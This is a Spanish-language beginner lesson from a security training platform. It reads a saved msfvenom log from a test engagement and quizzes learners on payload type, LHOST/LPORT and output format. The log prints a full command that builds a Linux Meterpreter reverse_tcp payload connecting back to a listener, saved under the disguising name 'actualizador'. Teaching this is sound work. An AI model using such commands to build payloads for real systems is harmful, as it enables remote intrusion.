🔒 Registro cerrado · Apertura oficial próximamente · Acceso exclusivo para alumnos activos
Iniciar SesiónGenerar un payload con msfvenom, y leerlo antes de confiar en él
3 tareas · 25 min · Principiante
Un payload no es el exploit: es lo que el exploit entrega una vez que la vulnerabilidad ya abrió la puerta. `msfvenom` genera ese archivo a partir de tres decisiones (tipo de payload, formato de salida y dónde debe conectarse de vuelta), y cada una queda escrita en el nombre del comando, no escondida. Esta sala lee el registro de generación que el equipo del encargo MSP-2027-09 guardó, sin generar ni entregar nada nuevo.
Objetivo de la sala
Un payload no es el exploit: es lo que el exploit entrega una vez que la vulnerabilidad ya abrió la puerta. `msfvenom` genera ese archivo a partir de tres decisiones (tipo de payload, formato de salida y dónde debe conectarse de vuelta), y cada una queda escrita en el nombre del comando, no escondida. Esta sala lee el registro de generación que el equipo del encargo MSP-2027-09 guardó, sin generar ni entregar nada nuevo.Registro guardado del comando usado y su salida:
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.50.5.11 LPORT=4444 -f elf -o actualizador
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: actualizador
Tres decisiones, visibles en el propio comando: qué hace el payload al ejecutarse
(linux/x86/meterpreter/reverse_tcp: abre una sesión Meterpreter que se conecta hacia afuera),
a dónde se conecta (LHOST/LPORT: la IP y el puerto donde escucha quien lo recibe) y en qué
formato queda el archivo final (-f elf: un ejecutable de Linux).
Esta tarea se hace en el laboratorio
Una terminal con los archivos del caso, aquí en la página. No instalas nada y no puedes romper nada.
Para responder aquí hace falta una cuenta
Puedes leer toda la sala sin cuenta. Responder y guardar tu avance pide entrar; al volver aterrizas en esta misma sala.
Responde para continuar
En este comando, ¿qué decide concretamente `LHOST=10.50.5.11 LPORT=4444`?
Ver pista de ayuda
El payload elegido es "reverse" — se conecta hacia afuera. ¿Hacia dónde exactamente?
El archivo se guardó como actualizador, un nombre genérico sin relación con lo que realmente
hace. Esa es una decisión de quien genera el archivo, no algo que msfvenom imponga ni oculte: el
comando que lo produjo queda escrito tal cual en el registro, y cualquiera que lo lea sabe
exactamente qué es.
Esta tarea se hace en el laboratorio
Una terminal con los archivos del caso, aquí en la página. No instalas nada y no puedes romper nada.
Para responder aquí hace falta una cuenta
Puedes leer toda la sala sin cuenta. Responder y guardar tu avance pide entrar; al volver aterrizas en esta misma sala.
Responde para continuar
Según el registro, ¿qué formato de salida (`-f`) se usó para generar el archivo?
Ver pista de ayuda
Es la opción que fija el tipo de archivo ejecutable de destino.
El registro de este encargo usó -f elf porque el objetivo (msp-ftp01) corre Linux. Contra un
objetivo Windows, el mismo tipo de payload reverso necesitaría un formato ejecutable distinto
(exe, por ejemplo), y contra una aplicación web que solo acepta un archivo de cierto tipo, el
formato podría tener que adaptarse todavía más. El criterio no cambia: el formato lo decide lo
que el objetivo puede ejecutar, no la costumbre de quien genera el payload.
Esta tarea se hace en el laboratorio
Una terminal con los archivos del caso, aquí en la página. No instalas nada y no puedes romper nada.
Para responder aquí hace falta una cuenta
Puedes leer toda la sala sin cuenta. Responder y guardar tu avance pide entrar; al volver aterrizas en esta misma sala.
Responde para continuar
Si el mismo payload reverso tuviera que ejecutarse en un objetivo Windows en vez de Linux, ¿qué parte del comando de `msfvenom` depende del sistema operativo del objetivo?
Ver pista de ayuda
Compara qué significa "linux/x86/..." al principio del nombre del payload con qué significa "-f elf" al final del comando.
Preparando la estación…
Whoami-Labs Pro
Whoami-Labs Pro utiliza cookies
Utilizamos cookies y almacenamiento local para el funcionamiento del sitio y la seguridad de tu sesión y, solo si lo autorizas, analítica. Puedes aceptar, rechazar o personalizar. Política de Cookies · Política de Privacidad
Preferencias
Configuraciones de cookies
Elige qué categorías permitir. Las esenciales siempre están activas. Consulta la Política de Privacidad.
Esenciales
Siempre activas · sesión, CSRF, tema y esta preferencia
Necesarias para iniciar sesión, proteger formularios (CSRF) y recordar tu elección de cookies y tema. Sin ellas la plataforma no funciona de forma segura.
Analíticos
Medimos con Google Analytics cómo se usa la plataforma; solo si lo aceptas
Google Analytics (cookies _ga) nos dice qué páginas se usan y dónde se atascan las personas. No enviamos tu nombre ni tu correo. Sin tu permiso no se carga, y puedes cambiarlo cuando quieras desde «Cookies» al final de la página.
Marketing
Hoy no usamos cookies de marketing; si algún día lo hacemos, será solo con tu permiso
Comunicaciones o campañas. No activos hoy en la plataforma; quedarán listos si los conectamos y solo si los permites.